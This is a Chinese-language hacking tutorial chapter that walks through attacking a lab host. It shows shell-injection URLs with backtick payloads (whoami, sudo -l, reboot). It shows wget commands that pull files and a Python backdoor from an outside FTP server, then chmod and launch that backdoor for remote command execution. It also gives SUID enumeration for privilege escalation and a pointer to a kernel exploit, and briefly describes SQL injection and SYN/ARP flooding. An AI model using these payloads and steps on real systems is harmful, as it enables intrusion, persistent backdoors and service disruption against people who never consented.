通过前面的端口扫描和Web扫描等工具,知道知道目标主机有什么样的弱点,那么,下一步就是如何注入代码控制或者攻击该目标主机。
Shell injection(命令行注入)
一旦脚本或是代码处理不当,就会将用户的输入参数(如HTTP参数、页面中的输入字段等)作为系统命令进行执行,而这些通过shell命令或脚本,你可以收集任何想要的信息,达到权限提升或是上传文件的目的,一旦成功,该目标的生死就不由它了。
通过nmap扫描,我们知道目标主机(172.12.0.2)存在哪些开发端口,启用了什么服务。然后,我们看见目标主机的80端口是开发,再用web分析扫描工具,获得该站点的目录和弱点信息, 如,我们通过skipfish扫描到目标主机存在如下弱点:
#skipfish扫描报告
一般情况下,通过Web界面登录的用户都是系统内嵌的一些用户,如Apache等,如果你足够幸运,程序员会把错误日志一起带回页面来显示,那么你就能通过如下URL获得一些信息:
http://172.12.0.2/~/xxd.sh?auth_name=user01&user_mac=`whoami`
#获得当前用户名信息
Pwd能知道当前的位置, sudo –l能知道该账户的权限, lsof能知道该用户对文件的权限情况。
http://172.12.0.2/~/xxd.sh?auth_name=user01&user_mac=`sudo -l`
#当前用户的权限信息
如果你发现页面中存在文件上传等能写入系统的操作,很大几率你能找到如何把文件上传上去,实在不行,你可以把文件放在/tmp目录下,做后续的操作
http://172.12.0.2/~/xxd.sh?auth_name=&user_mac=`wget -nH -m --ftp-user=admin --ftp-password=admins -P /tmp ftp://10.10.11.250/test.txt`
#成功上传的文件
是时候展现技术的时候了,干一点创造性的工作: reboot:
http://172.12.0.2/~/xxd.sh?auth_name=&user_mac=`reboot`
#权限不够导致命令执行失败
非常遗憾,ping没断,设备没死:这就进入了另一个高深的话题:权限提升的问题。
权限提升
在进行权限提升工作前,我们先做一点小工具,让我们能像登录设备一样进行一些命令行操作。
如,上传一个随便编写的Python脚本(进行TCP监听,并解析用户的输入,进行系统命令执行, 将执行结果返回到客户端), 脚本通过上面的wget放到/tmp目录下,通过chmod 777修改权限,再执行脚本(加&使其后台运行):
http://172.12.0.2/~/xxd.sh?auth_name=&user_mac=`wget -nH -m --ftp-user=admin --ftp-password=admins -P /tmp ftp://10.10.11.250:/server.py`
http://172.12.0.2/~/xxd.sh?auth_name=&user_mac=`chmod 777 /tmp/server.py`
http://172.12.0.2/~/xxd.sh?auth_name=&user_mac=`/tmp/server.py &`
我这里只是简单的一个python脚本作为演示用:
#server.py
#client.py
OK, 连接后,第一件事儿就是试图把用户信息拿回来(试图用密码破解方式尝试一下破解系统的密码)
#还记得大明湖畔的夏雨荷吗?
权限提升最好的方法是利用系统中的一些错误配置,如:
ls –l可见文件和目录的权限信息:
#文件的权限查看
“-rw-rw-r--”一共10位,最左边表示类型(目录、文件、连接等), 接着三位是所有者的权限, 接着三位是组群的权限,最后是其它用户的权限(r读、w写、x执行,-未授权)。开发者或是管理员会在自己的目录下包含一些敏感信息或是给自己提供方便,将文件的权限提升很大,利用好会省去很多时间。
一个文件具有Set uid bit能力意味着它能潜在的运行在更高权限上(如root),如果你能找到这些应用程序的弱点或是试图崩溃,那么你就有可能获得root权限。如: 查找系统中具有STUID权限的文件
find / -perm -u=s -type f 2>/dev/null
#具有setuid能力的文件查询
有些Server上,并没有去掉不必要的服务,而这些服务以缺省配置在运行,通过cat /etc/services可见所有的服务。搜索这些服务可能存在的漏洞或缺陷也能提高你的效率。
站在巨人的肩上,起点就不会低,一些开源的工具或是其更新能帮助你快速获得你想要的东西,如overlayfs(https://www.exploit-db.com/exploits/37292)。
SQL注入
SQL注入是想办法将任意SQL代码插入数据库(如MySQL,Oracle,SQL Server或其他)查询语句中,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容,还可以使用SQL注入来添加,修改和删除数据库中的记录。
利用前面章节提到的SQL注入检测工具查到有潜在可能的页面输入时,构造SQL语句,从而获得数据库的内容后修改其记录。
由于未能扫描到可攻击的对象,无法掩饰这个攻击过程。
服务攻击
服务攻击可能在大神的眼中是最没技术含量的事情了:如小偷与抢劫的区别,前者是一个有着悠久技艺传承的职业工种,后者就没什么技术含量了。不过马爸爸几乎断送了前者的职业生涯,让小偷们现在不得不寻求世界文化遗产组织的保护,使得这个自古就有的职业得以延续下去!。
最著名的攻击莫过于syn flooding了(发起大量的TCP syn报文,耗尽服务的连接数,使正常用户不能建立连接)。以次类推的有udp_flooding, 半开连接、icmp_fooding, arp_poison之类的,通过构造报文,撩拨对方,等它正脱裤子时,撒腿就跑。相较而言,这是种流氓行为。但有时候耍流氓确实比较有效,只是我不太喜欢而已。
服务攻的工具网上一搜一大堆,理论上上只要能发包,就能构造各种攻击,这里不再累述。